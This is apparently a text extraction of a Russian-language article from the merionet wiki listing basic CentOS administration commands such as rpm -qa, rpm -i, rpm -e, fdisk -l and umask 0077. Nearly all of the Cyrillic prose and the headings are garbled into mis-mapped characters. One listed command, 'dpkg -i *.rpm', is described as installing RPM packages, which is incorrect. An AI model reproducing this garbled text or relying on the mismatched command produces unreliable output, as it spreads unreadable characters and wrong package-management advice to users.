(.codez2 ʠʣʠ .gz ʩʦʦʪʚʝʪʩʪʚʝʥʥʦ); 
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ɈȿɀɆɊȿ ɉ 0TRO ɇȿȺɂɊȿɄȼ 

ʊʘʢ ʢʘʢ ʤʳ ʙʦʣʴʰʝ ʚʩʝʛʦ ʨʘʩʩʢʘʟʳʚʘʝʤ ʠ ʧʠʰʝʤ ʧʨʦ FreePBX, ʢʦʪʦʨʳʡ ʧʦ 

ʫʤʦʣʯʘʥʠʶ ʩʢʘʯʠʚʘʝʪʩʷ ʩ ʦʬʠʮʠʘʣʴʥʦʛʦ ʩʘʡʪʘ ʚʤʝʩʪʝ c ʉentOS, ʟʜʝʩʴ ʤʝʩʪʦ ʜʣʷ 

ʧʘʨʳ ʢʦʤʘʥʜ ʧʦ ʨʘʙʦʪʝ c RPM ʧʘʢʝʪʘʤʠ. ʇʦʯʝʤʫ? ʇʦʪʦʤʫ ʯʪʦ CentOS ï RPM-

based Linux Distribution :) ʂʦʤʘʥʜʳ ʪʨʝʙʫʶʪ ʥʘʣʠʯʠʝ ʧʨʘʚ ʩʫʧʝʨ - ʧʦʣʴʟʦʚʘʪʝʣʷ. 

ǒ rpm - qa - ʚʳʚʦʜ ʩʧʠʩʢʘ ʚʩʝʭ ʫʩʪʘʥʦʚʣʝʥʥʳʭ RPM ʧʘʢʝʪʦʚ ʚ ʩʠʩʪʝʤʝ; 

ǒ rpm ïi rpmpackage.rpm  - ʫʩʪʘʥʦʚʢʘ ʧʘʢʝʪʘ ʩ ʠʤʝʥʝʤ rpmpackage; 

ǒ rpm ïe rpmpackage - ʫʜʘʣʝʥʠʝ ʧʘʢʝʪʘ ʩ ʪʘʢʠʤ ʠʤʝʥʝʤ; 

ǒ dpkg - i *.rpm  - ʫʩʪʘʥʦʚʢʘ ʚʩʝʭ ʧʘʢʝʪʦʚ ʚ ʜʠʨʝʢʪʦʨʠʠ; 

 

ɇɈɆ ɃɚɉɊȺȼɂ ɠȼɉȺȼ 

ʂʦʤʘʥʜʘ fdisk ïl  ʚʳʚʦʜʠʪ ʠʥʬʦʨʤʘʮʠʶ ʦ ʚʩʝʭ ʧʦʜʢʣʶʯʝʥʥʳʭ ʞʸʩʪʢʠʭ ʠ ʩʤʝʥʥʳʭ 

ʜʠʩʢʘʭ ʚ ʩʠʩʪʝʤʝ, ʙʳʚʘʝʪ ʦʯʝʥʴ ʧʦʣʝʟʥʦʡ. ʅʠʞʝ ʧʨʠʤʝʨ ʚʳʚʦʜ ʵʪʦʡ ʢʦʤʘʥʜʳ (ʚ 

ʢʘʯʝʩʪʚʝ ʧʨʠʤʝʨ ʨʘʩʩʤʘʪʨʠʚʘʝʪʩʷ OTRS - ʩʝʨʚʝʨ) 

umask 0077  
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ǺȖȗ - 20 ȗȖȓȍȏȕȣȝ ȒȖȔȈȕȌ CentOS 

ʉʪʘʪʴʷ ʮʝʣʠʢʦʤ ʧʦʩʚʷʱʝʥʘ ʥʦʚʠʯʢʘʤ, ʢʦʪʦʨʳʝ ʪʦʣʴʢʦ ʜʝʣʘʶʪ ʧʝʨʚʳʝ ʰʘʛʠ ʥʘ 

ʵʪʘʧʝ ʟʥʘʢʦʤʩʪʚʘ ʩ ʦʧʝʨʘʮʠʦʥʥʦʡ ʩʠʩʪʝʤʦʡ CentOS. ɺ ʩʪʘʪʴʝ ʤʳ ʩʦʙʨʘʣʠ ʪʦʧ ï 20 

ʢʦʤʘʥʜ, ʢʦʪʦʨʳʝ ʙʫʜʫʪ ʧʦʣʝʟʥʳ ʚ ʧʦʚʩʝʜʥʝʚʥʦʡ ʨʘʙʦʪʝ, ʫʧʨʘʚʣʝʥʠʠ ʩʝʨʚʝʨʦʤ ʠ ʚ 

ʙʘʟʦʚʦʤ çʪʨʘʙʣʰʫʪʠʥʛʝè. 

 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/linux-komandy-dlya-raboty-s-fajlami-i-direktoriyami/1.png
https://wiki.merionet.ru/images/linux-komandy-dlya-raboty-s-fajlami-i-direktoriyami/1.png









































